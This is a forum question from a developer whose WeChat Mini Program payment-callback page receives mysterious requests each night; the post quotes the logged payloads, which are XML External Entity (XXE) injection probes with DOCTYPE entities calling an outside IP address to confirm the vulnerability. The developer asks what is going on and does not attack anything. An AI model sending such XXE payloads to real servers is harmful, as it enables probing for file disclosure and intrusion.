小程序的接受微信支付结果的页面每天凌晨3，4点都会收到不明信息。。。
发布于 6 年前 作者 bjia 2573 次浏览 来自 问答

日志记录下的信息基本都是如下：

<?xml version=“1.0” encoding=“utf-8”?>

<!DOCTYPE root [

<!ENTITY % xxe SYSTEM “http://101.91.62.170:4837/wx_xxe_dbc_os_2018110303_334?aHR0cHM6Ly9hcGkud2NmbGNoaW5hLmNvbS9hcGkvMS4wL3BheXJlc3VsdC5hc2h4”>

%xxe;

]>

<?xml version=“1.0” encoding=“utf-8”?>

<!DOCTYPE root [

<!ENTITY xxe SYSTEM “http://101.91.62.170:4837/wx_xxe_dbc_os_2018110303_334?aHR0cHM6Ly9hcGkud2NmbGNoaW5hLmNvbS9hcGkvMS4wL3BheXJlc3VsdC5hc2h4”>]>

<foo><value>&xxe;</value></foo>

每条消息的处理结果都是 ：远程服务器返回错误: (404) 未找到。

什么情况，持续N个月了。。。。。

回到顶部